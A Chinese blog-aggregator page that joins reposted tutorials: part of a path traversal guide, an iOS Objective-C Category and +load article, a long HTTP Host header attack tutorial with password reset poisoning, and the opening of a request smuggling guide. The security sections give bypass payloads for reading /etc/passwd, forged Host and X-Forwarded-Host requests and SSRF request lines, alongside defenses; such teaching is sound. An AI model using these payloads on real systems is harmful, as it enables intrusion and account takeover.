    在 Unix 操作系统上,这个文件是一个内容为该服务器上注册用户详细信息的标准文件。

    在 Windows 系统上,..\ 和 ../ 的作用相同,都表示上级目录,因此检索标准操作系统文件可以通过如下方式:

    https://insecure-website.com/loadImage?filename=..\..\..\windows\win.ini

    利用文件路径遍历漏洞的常见障碍

    许多将用户输入放入文件路径的应用程序实现了某种应对路径遍历攻击的防御措施,然而这些措施却通常可以被规避。

    如果应用程序从用户输入的 filename 中剥离或阻止 ..\ 目录遍历序列,那么也可以使用各种技巧绕过防御。

    你可以使用从系统根目录开始的绝对路径,例如 filename=/etc/passwd 这样直接引用文件而不使用任何 ..\ 形式的遍历序列。

    你也可以嵌套的遍历序列,例如 ....// 或者 ....\/ ,即使内联序列被剥离,其也可以恢复为简单的遍历序列。

    你还可以使用各种非标准编码,例如 ..%c0%af 或者 ..%252f 以绕过输入过滤器。

    如果应用程序要求用户提供的文件名必须以指定的文件夹开头,例如 /var/www/images ,则可以使用后跟遍历序列的方式绕过,例如:

    filename=/var/www/images/../../../etc/passwd

    如果应用程序要求用户提供的文件名必须以指定的后缀结尾,例如 .png ,那么可以使用空字节在所需扩展名之前有效地终止文件路径并绕过检查:

    filename=../../../etc/passwd%00.png

    如何防御目录遍历攻击

    防御文件路径遍历漏洞最有效的方式是避免将用户提供的输入直接完整地传递给文件系统 API 。许多实现此功能的应用程序部分可以重写,以更安全的方式提供相同的行为。

    如果认为将用户输入传递到文件系统 API 是不可避免的,则应该同时使用以下两层防御措施:

    • 应用程序对用户输入进行严格验证。理想情况下,通过白名单的形式只允许明确的指定值。如果无法满足需求,那么应该验证输入是否只包含允许的内容,例如纯字母数字字符。
    • 验证用户输入后,应用程序应该将输入附加到基准目录下,并使用平台文件系统 API 规范化路径,然后验证规范化后的路径是否以基准目录开头。

    下面是一个简单的 Java 代码示例,基于用户输入验证规范化路径:

    File file = new File(BASE_DIRECTORY, userInput);
    if (file.getCanonicalPath().startsWith(BASE_DIRECTORY)) {
    // process file
    }

    原文链接:https://segmentfault.com/a/1190000039307155


    收起阅读 »

    iOS Cateogry的深入理解

    首先先看几个面试问题Cateogry里面有load方法么? load方法什么时候调用?load方法有继承么?1. 新建一个项目,并添加TCPerson类,并给TCPerson添加两个分类2.新建一个TCStudent类继承自TCPerson,并且给T...
    继续阅读 »

    首先先看几个面试问题

    • Cateogry里面有load方法么? load方法什么时候调用?load方法有继承么?

    1. 新建一个项目,并添加TCPerson类,并给TCPerson添加两个分类


    2.新建一个TCStudent类继承自TCPerson,并且给TCStudent也添加两个分类



    Cateogry里面有load方法么?

    答:分类里面肯定有load

    #import "TCPerson.h"

    @implementation TCPerson
    + (void)load{

    }
    @end


    #import "TCPerson+TCtest1.h"

    @implementation TCPerson (TCtest1)
    + (void)load{

    }
    @end
    #import "TCPerson+TCTest2.h"

    @implementation TCPerson (TCTest2)
    + (void)load{

    }
    @end

    load方法什么时候调用?

    load方法在runtime加载类和分类的时候调用load

    #import <Foundation/Foundation.h>

    int main(int argc, const char * argv[]) {
    @autoreleasepool {

    }
    return 0;
    }


    @implementation TCPerson
    + (void)load{
    NSLog(@"TCPerson +load");
    }
    @end


    @implementation TCPerson (TCtest1)
    + (void)load{
    NSLog(@"TCPerson (TCtest1) +load");
    }
    @end
    @implementation TCPerson (TCTest2)
    + (void)load{
    NSLog(@"TCPerson (TCtest2) +load");
    }
    @end
    可以看到我们在main里面不导入任何的头文件,也不引用任何的类,直接运行,控制台输出结果:



    从输出结果我们可以看出,三个load方法都被调用

    问题:分类重写方法,真的是覆盖原有类的方法么?如果不是,到底分类的方法是怎么调用的?

    首先我们在TCPerson申明一个方法+ (void)test并且在它的两个分类都重写+ (void)test

    #import <Foundation/Foundation.h>

    NS_ASSUME_NONNULL_BEGIN

    @interface TCPerson : NSObject
    + (void)test;
    @end

    NS_ASSUME_NONNULL_END

    #import "TCPerson.h"

    @implementation TCPerson
    + (void)load{
    NSLog(@"TCPerson +load");
    }
    + (void)test{
    NSLog(@"TCPerson +test");
    }
    @end

    分类重写test
    #import "TCPerson+TCtest1.h"

    @implementation TCPerson (TCtest1)
    + (void)load{
    NSLog(@"TCPerson (TCtest1) +load");
    }
    + (void)test{
    NSLog(@"TCPerson (TCtest1) +test1");
    }
    @end

    #import "TCPerson+TCTest2.h"

    @implementation TCPerson (TCTest2)
    + (void)load{
    NSLog(@"TCPerson (TCtest2) +load");
    }
    + (void)test{
    NSLog(@"TCPerson (TCtest2) +test2");
    }
    @end

    在main里面我们调用test

    #import <Foundation/Foundation.h>
    #import "TCPerson.h"
    int main(int argc, const char * argv[]) {
    @autoreleasepool {
    [TCPerson test];
    }
    return 0;
    }

    输出结果:



    从输出结果中我们可以看到,只有分类2中的test被调用,为什么只调用分类2中的test了?



    因为编译顺序是分类2在后,1在前,这个时候我们改变编译顺序(拖动文件就行了)




    其输出结果为:



    细心的老铁会看到,为什么load方法一直都在调用,这是为什么了?它和test方法到底有什么不同了?真的是我们理解中的load不覆盖,test覆盖了,所以才出现这种情况么?


    我们打印TCPerson的类方法


    void printMethodNamesOfClass(Class cls)
    {
    unsigned int count;
    // 获得方法数组
    Method *methodList = class_copyMethodList(cls, &count);

    // 存储方法名
    NSMutableString *methodNames = [NSMutableString string];

    // 遍历所有的方法
    for (int i = 0; i < count; i++) {
    // 获得方法
    Method method = methodList[I];
    // 获得方法名
    NSString *methodName = NSStringFromSelector(method_getName(method));
    // 拼接方法名
    [methodNames appendString:methodName];
    [methodNames appendString:@", "];
    }

    // 释放
    free(methodList);

    // 打印方法名
    NSLog(@"%@ %@", cls, methodNames);
    }
    int main(int argc, const char * argv[]) {
    @autoreleasepool {
    [TCPerson test];
    printMethodNamesOfClass(object_getClass([TCPerson class]));
    }
    return 0;
    }

    输出结果:




    可以看到,TCPerson的所有类方法名,并不是覆盖,三个load,三个test,方法都在

    load源码分析:查看objc底层源码我们可以看到:

    void call_load_methods(void)
    {
    static bool loading = NO;
    bool more_categories;

    loadMethodLock.assertLocked();

    // Re-entrant calls do nothing; the outermost call will finish the job.
    if (loading) return;
    loading = YES;

    void *pool = objc_autoreleasePoolPush();

    do {
    // 1. Repeatedly call class +loads until there aren't any more
    while (loadable_classes_used > 0) {
    call_class_loads();
    }

    // 2. Call category +loads ONCE
    more_categories = call_category_loads();

    // 3. Run more +loads if there are classes OR more untried categories
    } while (loadable_classes_used > 0 || more_categories);

    objc_autoreleasePoolPop(pool);

    loading = NO;
    }

    load方法它是先调用 while (loadable_classes_used > 0) {call_class_loads(); }类的load,再调用more_categories = call_category_loads()分类的load,和编译顺序无关,都会调用
    我们查看call_class_loads()方法

    static void call_class_loads(void)
    {
    int I;

    // Detach current loadable list.
    struct loadable_class *classes = loadable_classes;
    int used = loadable_classes_used;
    loadable_classes = nil;
    loadable_classes_allocated = 0;
    loadable_classes_used = 0;

    // Call all +loads for the detached list.
    for (i = 0; i < used; i++) {
    Class cls = classes[i].cls;
    load_method_t load_method = (load_method_t)classes[i].method;
    if (!cls) continue;

    if (PrintLoading) {
    _objc_inform("LOAD: +[%s load]\n", cls->nameForLogging());
    }
    (*load_method)(cls, SEL_load);
    }

    // Destroy the detached list.
    if (classes) free(classes);
    }

    其通过的是load_method_t函数指针直接调用
    函数指针直接调用

    typedef void(*load_method_t)(id, SEL);
    其分类load方法调用也是一样

    static bool call_category_loads(void)
    {
    int i, shift;
    bool new_categories_added = NO;

    // Detach current loadable list.
    struct loadable_category *cats = loadable_categories;
    int used = loadable_categories_used;
    int allocated = loadable_categories_allocated;
    loadable_categories = nil;
    loadable_categories_allocated = 0;
    loadable_categories_used = 0;

    // Call all +loads for the detached list.
    for (i = 0; i < used; i++) {
    Category cat = cats[i].cat;
    load_method_t load_method = (load_method_t)cats[i].method;
    Class cls;
    if (!cat) continue;

    cls = _category_getClass(cat);
    if (cls && cls->isLoadable()) {
    if (PrintLoading) {
    _objc_inform("LOAD: +[%s(%s) load]\n",
    cls->nameForLogging(),
    _category_getName(cat));
    }
    (*load_method)(cls, SEL_load);
    cats[i].cat = nil;
    }
    }

    为什么test不一样了

    因为test是因为消息机制调用的,objc_msgSend([TCPerson class], @selector(test));消息机制就牵扯到了isa方法查找,test在元类方法里面顺序查找的



    load只在加载类的时候调用一次,且先调用类的load,再调用分类的

    load的继承关系调用
    首先我们先看TCStudent

    #import "TCStudent.h"

    @implementation TCStudent

    @end
    不写load方法调用


    TCStudent写上load


    从中可以看出子类不写load的方法,调用父类的load,当子类调用load时,先调用父类的load,再调用子类的load,父类子类load取决于你写load方法没有,如果都写了,先调用父类的,再调用子类的

    总结:先调用类的load,如果有子类,则先看子类是否写了load,如果写了,则先调用父类的load,再调用子类的load,当类子类调用完了,再是分类,分类的load取决于编译顺序,先编译,则先调用,test的方法调用走的是消息发送机制,其底层原理和load方法有着本质的区别,消息发送主要取决于isa的方法查找顺序



    作者:枫紫_6174
    链接:https://www.jianshu.com/p/f66921e24ffe




    收起阅读 »

    Web 安全 之 HTTP Host header attacks

    HTTP Host header attacks在本节中,我们将讨论错误的配置和有缺陷的业务逻辑如何通过 HTTP Host 头使网站遭受各种攻击。我们将概述识别易受 HTTP Host 头攻击的网站的高级方法,并演示如何利用此方法。最后,我们将提供一些有关如...
    继续阅读 »

    HTTP Host header attacks

    在本节中,我们将讨论错误的配置和有缺陷的业务逻辑如何通过 HTTP Host 头使网站遭受各种攻击。我们将概述识别易受 HTTP Host 头攻击的网站的高级方法,并演示如何利用此方法。最后,我们将提供一些有关如何保护自己网站的一般建议。


    什么是 HTTP Host 头

    从 HTTP/1.1 开始,HTTP Host 头是一个必需的请求头,其指定了客户端想要访问的域名。例如,当用户访问 https://portswigger.net/web-security 时,浏览器将会发出一个包含 Host 头的请求:

    GET /web-security HTTP/1.1
    Host: portswigger.net

    在某些情况下,例如当请求被中介系统转发时,Host 值可能在到达预期的后端组件之前被更改。我们将在下面更详细地讨论这种场景。

    HTTP Host 头的作用是什么

    HTTP Host 头的作用就是标识客户端想要与哪个后端组件通信。如果请求没有 Host 头或者 Host 格式不正确,则把请求路由到预期的应用程序时会出现问题。

    历史上因为每个 IP 地址只会托管单个域名的内容,所以并不存在模糊性。但是如今,由于基于云的解决方案和相关架构的不断增长,使得多个网站和应用程序在同一个 IP 地址访问变得很常见,这种方式也越来越受欢迎,部分原因是 IPv4 地址耗尽。

    当多个应用程序通过同一个 IP 地址访问时,通常是以下情况之一。

    虚拟主机

    一种可能的情况是,一台 web 服务器部署多个网站或应用程序,这可能是同一个所有者拥有多个网站,也有可能是不同网站的所有者部署在同一个共享平台上。这在以前不太常见,但在一些基于云的 SaaS 解决方案中仍然会出现。

    在这种情况下,尽管每个不同的网站都有不同的域名,但是他们都与服务器共享同一个 IP 地址。这种单台服务器托管多个网站的方式称为“虚拟主机”。

    对于访问网站的普通用户来说,通常无法区分网站使用的是虚拟主机还是自己的专用服务器。

    通过中介路由流量

    另一种常见的情况是,网站托管在不同的后端服务器上,但是客户端和服务器之间的所有流量都会通过中间系统路由。中间系统可能是一个简单的负载均衡器或某种反向代理服务器。当客户端通过 CDN 访问网站时,这种情况尤其普遍。

    在这种情况下,即使不同的网站托管在不同的后端服务器上,但是他们的所有域名都需要解析为中间系统这个 IP 地址。这也带来了一些与虚拟主机相同的挑战,即反向代理或负载均衡服务器需要知道怎么把每个请求路由到哪个合适的后端。

    HTTP Host 头如何解决这个问题

    解决上述的情况,都需要依赖于 Host 头来指定请求预期的接收方。一个常见的比喻是给住在公寓楼里的某个人写信的过程。整栋楼都是同一个街道地址,但是这个街道地址后面有许多个不同的公寓房间,每个公寓房间都需要以某种方式接受正确的邮件。解决这个问题的一个方法就是简单地在地址中添加公寓房间号码或收件人的姓名。对于 HTTP 消息而言,Host 头的作用与之类似。

    当浏览器发送请求时,目标 URL 将解析为特定服务器的 IP 地址,当服务器收到请求时,它使用 Host 头来确定预期的后端并相应地转发该请求。

    什么是 HTTP Host 头攻击

    HTTP Host 头攻击会利用以不安全的方式处理 Host 头的漏洞网站。如果服务器隐式信任 Host 标头,且未能正确验证或转义它,则攻击者可能会使用此输入来注入有害的有效负载,以操纵服务器端的行为。将有害负载直接注入到 Host 头的攻击通常称为 "Host header injection"(主机头注入攻击)。

    现成的 web 应用通常不知道它们部署在哪个域上,除非在安装过程中手动配置指定了它。此时当他们需要知道当前域时,例如要生成电子邮件中包含的 URL ,他们可能会从 Host 头检索域名:

    <a href="https://_SERVER['HOST']/support">Contact support</a>

    标头的值也可以用于基础设施内不同系统之间的各种交互。

    由于 Host 头实际上用户可以控制的,因此可能会导致很多问题。如果输入没有正确的转义或验证,则 Host 头可能会成为利用其他漏洞的潜在载体,最值得注意的是:

    • Web 缓存中毒
    • 特定功能中的业务逻辑缺陷
    • 基于路由的 SSRF
    • 典型的服务器漏洞,如 SQL 注入

    HTTP Host 漏洞是如何产生的

    HTTP Host 漏洞的产生通常是基于存在缺陷的假设,即误认为 Host 头是用户不可控制的。这导致 Host 头被隐式信任了,其值未进行正确的验证或转义,而攻击者可以使用工具轻松地修改 Host 。

    即使 Host 头本身得到了安全的处理,也可以通过注入其他标头来覆盖 Host ,这取决于处理传入请求的服务器的配置。有时网站所有者不知道默认情况下这些可以覆盖 Host 的标头是受支持的,因此,可能不会进行严格的审查。

    实际上,许多漏洞并不是由于编码不安全,而是由于相关基础架构中的一个或多个组件的配置不安全。之所以会出现这些配置问题,是因为网站将第三方技术集成到其体系架构中,而未完全了解配置选项及其安全含义。

    利用 HTTP Host 头漏洞

    详细内容请查阅本章下文。

    如何防御 HTTP Host 头攻击

    防御 HTTP Host 头攻击最简单的方法就是避免在服务端代码中使用 Host 头。仔细检查下每个 URL 地址是否真的绝对需要,你经常会发现你可以用一个相对的 URL 地址替代。这个简单的改变可以帮助你防御 web 缓存中毒。

    其他防御措施有:

    保护绝对的 URL 地址

    如果你必须使用绝对的 URL 地址,则应该在配置文件中手动指定当前域名并引用此值,而不是 Host 头的值。这种方法将消除密码重置中毒的威胁。

    验证 Host 头

    如果必须使用 Host 头,请确保正确验证它。这包括对照允许域的白名单进行检查,拒绝或重定向无法识别的 Host 的任何请求。你应该查阅所使用的框架的相关文档。例如 Django 框架在配置文件中提供了 ALLOWED_HOSTS 选项,这将减少你遭受主机标头注入攻击的风险。

    不支持能够重写 Host 的头

    检查你是否不支持可能用于构造攻击的其他标头,尤其是 X-Forwarded-Host ,牢记默认情况下这些头可能是被允许的。

    使用内部虚拟主机时要小心

    使用虚拟主机时,应避免将内部网站和应用程序托管到面向公开内容的服务器上。否则,攻击者可能会通过 Host 头来访问内部域。


    如何识别和利用 HTTP Host 头漏洞

    在本节中,我们将更仔细地了解如何识别网站是否存在 HTTP Host 头漏洞。然后,我们将提供一些示例,说明如何利用此漏洞。

    如何使用 HTTP Host 头测试漏洞

    要测试网站是否易受 HTTP Host 攻击,你需要一个拦截代理(如 Burp proxy )和手动测试工具(如 Burp Repeater 和 Burp intruiter )。

    简而言之,你需要能够修改 Host 标头,并且你的请求能够到达目标应用程序。如果是这样,则可以使用此标头来探测应用程序,并观察其对响应的影响。

    提供一个任意的 Host 头

    在探测 Host 头注入漏洞时,第一步测试是给 Host 头设置任意的、无法识别的域名,然后看看会发生什么。

    一些拦截代理直接从 Host 头连接目标 IP 地址,这使得这种测试几乎不可能;对报头所做的任何更改都会导致请求发送到完全不同的 IP 地址。然而,Burp Suite 精确地保持了主机头和目标 IP 地址之间的分离,这种分离允许你提供所需的任意或格式错误的主机头,同时仍然确保将请求发送到预期目标。

    有时,即使你提供了一个意外的 Host 头,你仍然可以访问目标网站。这可能有很多原因。例如,服务器有时设置了默认或回退选项,以处理无法识别的域名请求。如果你的目标网站碰巧是默认的,那你就走运了。在这种情况下,你可以开始研究应用程序对 Host 头做了什么,以及这种行为是否可利用。

    另一方面,由于 Host 头是网站工作的基本部分,篡改它通常意味着你将无法访问目标应用程序。接收到你的请求的反向代理或负载平衡器可能根本不知道将其转发到何处,从而响应 "Invalid Host header" 这种错误。如果你的目标很可能是通过 CDN 访问的。在这种情况下,你应该继续尝试下面概述的一些技术。

    检查是否存在验证缺陷

    你可能会发现你的请求由于某种安全措施而被阻止,而不是收到一个 "Invalid Host header" 响应。例如,一些网站将验证 Host 头是否与 TLS 握手的 SNI 匹配。这并不意味着它们对 Host 头攻击免疫。

    你应该试着理解网站是如何解析 Host 头的。这有时会暴露出一些可以用来绕过验证的漏洞。例如,一些解析算法可能会忽略主机头中的端口,这意味着只有域名被验证。只要你提供一个非数字端口,保持域名不变,就可以确保你的请求到达目标应用程序,同时可以通过端口注入有害负载。

    GET /example HTTP/1.1
    Host: vulnerable-website.com:bad-stuff-here

    某些网站的验证逻辑可能是允许任意子域。在这种情况下,你可以通过注册任意子域名来完全绕过验证,该域名以白名单中域名的相同字符串结尾:

    GET /example HTTP/1.1
    Host: notvulnerable-website.com

    或者,你可以利用已经泄露的不安全的子域:

    GET /example HTTP/1.1
    Host: hacked-subdomain.vulnerable-website.com

    有关常见域名验证缺陷的进一步示例,请查看我们有关规避常见的 SSRF 防御和 Origin 标头解析错误的内容。

    发送不明确的请求

    验证 Host 的代码和易受攻击的代码通常在应用程序的不同组件中,甚至位于不同的服务器上。通过识别和利用它们处理 Host 头的方式上的差异,你可以发出一个模棱两可的请求。

    以下是几个示例,说明如何创建模棱两可的请求。

    注入重复的 Host 头

    一种可能的方法是尝试添加重复的 Host 头。诚然,这通常只会导致你的请求被阻止。但是,由于浏览器不太可能发送这样的请求,你可能会偶尔发现开发人员没有预料到这种情况。在这种情况下,你可能会发现一些有趣的行为怪癖。

    不同的系统和技术将以不同的方式处理这种情况,但具体使用哪个 Host 头可能会存在差异,你可以利用这些差异。考虑以下请求:

    GET /example HTTP/1.1
    Host: vulnerable-website.com
    Host: bad-stuff-here

    假设转发服务优先使用第一个标头,但是后端服务器优先使用最后一个标头。在这种情况下,你可以使用第一个报头来确保你的请求被路由到预期的目标,并使用第二个报头将你的有效负载传递到服务端代码中。

    提供一个绝对的 URL 地址

    虽然请求行通常是指定请求域上的相对路径,但许多服务器也被配置为理解绝对 URL 地址的请求。

    同时提供绝对 URL 和 Host 头所引起的歧义也可能导致不同系统之间的差异。规范而言,在路由请求时,应优先考虑请求行,但实际上并非总是如此。你可以像重复 Host 头一样利用这些差异。

    GET https://vulnerable-website.com/ HTTP/1.1
    Host: bad-stuff-here

    请注意,你可能还需要尝试不同的协议。对于请求行是包含 HTTP 还是 HTTPS URL,服务器的行为有时会有所不同。

    添加 line wrapping

    你还可以给 HTTP 头添加空格缩进,从而发现奇怪的行为。有些服务器会将缩进的标头解释为换行,因此将其视为前一个标头值的一部分。而其他服务器将完全忽略缩进的标头。

    由于对该场景的处理极不一致,处理你的请求的不同系统之间通常会存在差异。考虑以下请求:

    GET /example HTTP/1.1
    Host: bad-stuff-here
    Host: vulnerable-website.com

    网站可能会阻止具有多个 Host 标头的请求,但是你可以通过缩进其中一个来绕过此验证。如果转发服务忽略缩进的标头,则请求会被当做访问 vulnerable-website.com 的普通请求。现在让我们假设后端忽略前导空格,并在出现重复的情况下优先处理第一个标头,这时你就可以通过 "wrapped" Host 头传递任意值。

    其他技术

    这只是发布有害且模棱两可的请求的许多可能方法中的一小部分。例如,你还可以采用 HTTP 请求走私技术来构造 Host 头攻击。请求走私的详细内容请查看该主题文章。

    注入覆盖 Host 的标头

    即使不能使用不明确的请求重写 Host 头,也有其他在保持其完整的同时重写其值的可能。这包括通过其他的 HTTP Host 标头注入有效负载,这些标头的设计就是为了达到这个目的。

    正如我们已经讨论过的,网站通常是通过某种中介系统访问的,比如负载均衡器或反向代理。在这种架构中,后端服务器接收到的 Host 头可能是这些中间系统的域名。这通常与请求的功能无关。

    为了解决这个问题,前端服务器(转发服务)可以注入 X-Forwarded-Host 头来标明客户端初始请求的 Host 的原始值。因此,当 X-Forwarded-Host 存在时,许多框架会引用它。即使没有前端使用此标头,也可以观察到这种行为。

    你有时可以用 X-Forwarded-Host 绕过 Host 头的任何验证的并注入恶意输入。

    GET /example HTTP/1.1
    Host: vulnerable-website.com
    X-Forwarded-Host: bad-stuff-here

    尽管 X-Forwarded-Host 是此行为的实际标准,你可能也会遇到其他具有类似用途的标头,包括:

    • X-Host
    • X-Forwarded-Server
    • X-HTTP-Host-Override
    • Forwarded

    从安全角度来看,需要注意的是,有些网站,甚至可能是你自己的网站,无意中支持这种行为。这通常是因为在它们使用的某些第三方技术中,这些报头中的一个或多个是默认启用的。

    如何利用 HTTP Host 头

    一旦确定可以向目标应用程序传递任意主机名,就可以开始寻找利用它的方法。

    在本节中,我们将提供一些你可以构造的常见 HTTP Host 头攻击的示例。

    • 密码重置中毒
    • Web 缓存中毒
    • 利用典型的服务器端漏洞
    • 绕过身份验证
    • 虚拟主机暴力破解
    • 基于路由的 SSRF

    密码重置中毒

    攻击者有时可以使用 Host 头进行密码重置中毒攻击。更多内容参见本系列相关部分。

    通过 Host 头的 Web 缓存中毒

    在探测潜在的 Host 头攻击时,你经常会遇到看似易受攻击但并不能直接利用的情况。例如,你可能会发现 Host 头在没有 HTML 编码的情况下反映在响应标记中,甚至直接用于脚本导入。反射的客户端漏洞(例如 XSS )由 Host 标头引起时通常无法利用。攻击者没法强迫受害者的浏览器请求不正确的主机。

    但是,如果目标使用了 web 缓存,则可以通过缓存向其他用户提供中毒响应,将这个无用的、反射的漏洞转变为危险的存储漏洞。

    要构建 web 缓存中毒攻击,需要从服务器获取反映已注入负载的响应。不仅如此,你还需要找到其他用户请求也同时使用的缓存键。如果成功,下一步是缓存此恶意响应。然后,它将被提供给任何试图访问受影响页面的用户。

    独立缓存通常在缓存键中包含 Host 头,因此这种方法通常在集成的应用程序级缓存上最有效。也就是说,前面讨论的技术有时甚至可以毒害独立的 web 缓存系统。

    Web 缓存中毒有一个独立的专题讨论。

    利用典型的服务端漏洞

    每个 HTTP 头都是利用典型服务端漏洞的潜在载体,Host 头也不例外。例如,你可以通过 Host 头探测试试平常的 SQL 注入。如果 Host 的值被传递到 SQL 语句中,这可能是可利用的。

    访问受限功能

    某些网站只允许内部用户访问某些功能。但是,这些网站的访问控制可能会做出错误的假设,允许你通过对 Host 头进行简单的修改来绕过这些限制。这会成为其他攻击的切入点。

    暴力破解使用虚拟主机的内部网站

    公司有时会犯这样的错误:在同一台服务器上托管可公开访问的网站和私有的内部网站。服务器通常有一个公共的和一个私有的 IP 地址。由于内部主机名可能会解析为私有的 IP 地址,因此仅通过查看 DNS 记录无法检测到这种情况:

    www.example.com:12.34.56.78
    intranet.example.com:10.0.0.132

    在某些情况下,内部站点甚至可能没有与之关联的公开 DNS 记录。尽管如此,攻击者通常可以访问他们有权访问的任何服务器上的任何虚拟主机,前提是他们能够猜出主机名。如果他们通过其他方式发现了隐藏的域名,比如信息泄漏,他们就可以直接发起请求。否则,他们只能使用诸如 Burp intruiter 这样的工具,通过候选子域的简单单词表对虚拟主机进行暴力破解。

    基于路由的 SSRF

    有时还可能使用 Host 头发起高影响、基于路由的 SSRF 攻击。这有时被称为 "Host header SSRF attacks" 。

    经典的 SSRF 漏洞通常基于 XXE 或可利用的业务逻辑,该逻辑将 HTTP 请求发送到从用户可控制的输入派生的 URL 。另一方面,基于路由的 SSRF 依赖于利用在许多基于云的架构中流行的中间组件。这包括内部负载均衡器和反向代理。

    尽管这些组件部署的目的不同,但基本上,它们都会接收请求并将其转发到适当的后端。如果它们被不安全地配置,转发未验证 Host 头的请求,它们就可能被操纵以将请求错误地路由到攻击者选择的任意系统。

    这些系统是很好的目标,它们处于一个特权网络位置,这使它们可以直接从公共网络接收请求,同时还可以访问许多、但不是全部的内部网络。这使得 Host 头成为 SSRF 攻击的强大载体,有可能将一个简单的负载均衡器转换为通向整个内部网络的网关。

    你可以使用 Burp Collaborator 来帮助识别这些漏洞。如果你在 Host 头中提供 Collaborator 服务器的域,并且随后从目标服务器或其他路径内的系统收到了 DNS 查询,则表明你可以将请求路由到任意域。

    在确认可以成功地操纵中介系统以将请求路由到任意公共服务器之后,下一步是查看能否利用此行为访问内部系统。为此,你需要标识在目标内部网络上使用的私有 IP 地址。除了应用程序泄漏的 IP 地址外,你还可以扫描属于该公司的主机名,以查看是否有解析为私有 IP 地址的情况。如果其他方法都失败了,你仍然可以通过简单地强制使用标准私有 IP 范围(例如 192.168.0.0/16 )来识别有效的 IP 地址。

    通过格式错误的请求行进行 SSRF

    自定义代理有时无法正确地验证请求行,这可能会使你提供异常的、格式错误的输入,从而带来不幸的结果。

    例如,反向代理可能从请求行获取路径,然后加上了前缀 http://backend-server,并将请求路由到上游 URL 。如果路径以 / 开头,这没有问题,但如果以 @ 开头呢?

    GET @private-intranet/example HTTP/1.1

    此时,上游的 URL 将是 http://backend-server@private-intranet/example,大多数 HTTP 库将认为访问的是 private-intranet 且用户名是 backend-server


    Password reset poisoning

    密码重置中毒是一种技术,攻击者可以利用该技术来操纵易受攻击的网站,以生成指向其控制下的域的密码重置链接。这种行为可以用来窃取重置任意用户密码所需的秘密令牌,并最终危害他们的帐户。

    密码重置是如何工作的

    几乎所有需要登录的网站都实现了允许用户在忘记密码时重置密码的功能。实现这个功能有好几种方法,其中一个最常见的方法是:

    1. 用户输入用户名或电子邮件地址,然后提交密码重置请求。
    2. 网站检查该用户是否存在,然后生成一个临时的、唯一的、高熵的 token 令牌,并在后端将该令牌与用户的帐户相关联。
    3. 网站向用户发送一封包含重置密码链接的电子邮件。用户的 token 令牌作为 query 参数包含在相应的 URL 中,如 https://normal-website.com/reset?token=0a1b2c3d4e5f6g7h8i9j
    4. 当用户访问此 URL 时,网站会检查所提供的 token 令牌是否有效,并使用它来确定要重置的帐户。如果一切正常,用户就可以设置新密码了。最后,token 令牌被销毁。

    与其他一些方法相比,这个过程足够简单并且相对安全。然而,它的安全性依赖于这样一个前提:只有目标用户才能访问他们的电子邮件收件箱,从而使用他们的 token 令牌。而密码重置中毒就是一种窃取此 token 令牌以更改其他用户密码的方法。

    如何构造一个密码重置中毒攻击

    如果发送给用户的 URL 是基于可控制的输入(例如 Host 头)动态生成的,则可以构造如下所示的密码重置中毒攻击:

    1. 攻击者根据需要获取受害者的电子邮件地址或用户名,并代表受害者提交密码重置请求,但是这个请求被修改了 Host 头,以指向他们控制的域。我们假设使用的是 evil-user.net 。
    2. 受害者收到了网站发送的真实的密码重置电子邮件,其中包含一个重置密码的链接,以及与他们的帐户相关联的 token 令牌。但是,URL 中的域名指向了攻击者的服务器:https://evil-user.net/reset?token=0a1b2c3d4e5f6g7h8i9j 。
    3. 如果受害者点击了此链接,则密码重置的 token 令牌将被传递到攻击者的服务器。
    4. 攻击者现在可以访问网站的真实 URL ,并使用盗取的受害者的 token 令牌,将用户的密码重置为自己的密码,然后就可以登录到用户的帐户了。

    在真正的攻击中,攻击者可能会伪造一个假的警告通知来提高受害者点击链接的概率。

    即使不能控制密码重置的链接,有时也可以使用 Host 头将 HTML 注入到敏感的电子邮件中。请注意,电子邮件客户端通常不执行 JavaScript ,但其他 HTML 注入技术如悬挂标记攻击可能仍然适用。

    原文链接:https://segmentfault.com/a/1190000039350947

    收起阅读 »

    Web 安全 之 HTTP request smuggling

    HTTP request smuggling在本节中,我们将解释什么是 HTTP 请求走私,并描述常见的请求走私漏洞是如何产生的。什么是 HTTP 请求走私HTTP 请求走私是一种干扰网站处理多个 HTTP 请求序列的技术。请求走私漏洞危害很大,它使攻击者可以...
    继续阅读 »

    HTTP request smuggling

    在本节中,我们将解释什么是 HTTP 请求走私,并描述常见的请求走私漏洞是如何产生的。

    什么是 HTTP 请求走私

    HTTP 请求走私是一种干扰网站处理多个 HTTP 请求序列的技术。请求走私漏洞危害很大,它使攻击者可以绕过安全控制,未经授权访问敏感数据并直接危害其他应用程序用户。


    HTTP 请求走私到底发生了什么

    现在的应用架构中经常会使用诸如负载均衡、反向代理、网关等服务,这些服务在链路上起到了一个转发请求给后端服务器的作用,因为位置位于后端服务器的前面,所以本文把他们称为前端服务器。

    当前端服务器(转发服务)将 HTTP 请求转发给后端服务器时,它通常会通过与后端服务器之间的同一个网络连接发送多个请求,因为这样做更加高效。协议非常简单:HTTP 请求被一个接一个地发送,接受请求的服务器则解析 HTTP 请求头以确定一个请求的结束位置和下一个请求的开始位置,如下图所示:


    如上图所示,攻击者使上一个请求的一部分被后端服务器解析为下一个请求的开始,这时就会干扰应用程序处理该请求的方式。这就是请求走私攻击,其可能会造成毁灭性的后果。

    HTTP 请求走私漏洞是怎么产生的

    绝大多数 HTTP 请求走私漏洞的出现是因为 HTTP 规范提供了两种不同的方法来指定请求的结束位置:Content-Length 头和 Transfer-Encoding 头。

    Content-Length 头很简单,直接以字节为单位指定消息体的长度。例如:

    POST /search HTTP/1.1
    Host: normal-website.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 11

    q=smuggling

    Transfer-Encoding 头则可以声明消息体使用了 chunked 编码,就是消息体被拆分成了一个或多个分块传输,每个分块的开头是当前分块大小(以十六进制表示),后面紧跟着 \r\n,然后是分块内容,后面也是 \r\n。消息的终止分块也是同样的格式,只是其长度为零。例如:

    POST /search HTTP/1.1
    Host: normal-website.com
    Content-Type: application/x-www-form-urlencoded
    Transfer-Encoding: chunked

    b
    q=smuggling
    0

    由于 HTTP 规范提供了两种不同的方法来指定 HTTP 消息的长度,因此单个消息中完全可以同时使用这两种方法,从而使它们相互冲突。HTTP 规范为了避免这种歧义,其声明如果 Content-Length 和 Transfer-Encoding 同时存在,则 Content-Length 应该被忽略。当只有一个服务运行时,这种歧义似乎可以避免,但是当多个服务被连接在一起时,这种歧义就无法避免了。在这种情况下,出现问题有两个原因:

    • 某些服务器不支持请求中的 Transfer-Encoding 头。
